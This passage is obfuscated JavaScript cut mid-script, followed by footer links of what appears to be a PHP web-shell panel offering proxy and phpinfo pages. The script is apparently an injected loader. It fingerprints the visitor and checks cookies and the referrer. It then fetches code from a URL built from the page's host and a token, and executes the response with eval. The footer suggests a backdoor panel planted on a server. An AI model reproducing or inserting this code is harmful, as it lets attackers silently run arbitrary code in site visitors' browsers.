B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 1.29 |
proxy
|
phpinfo
|
Настройка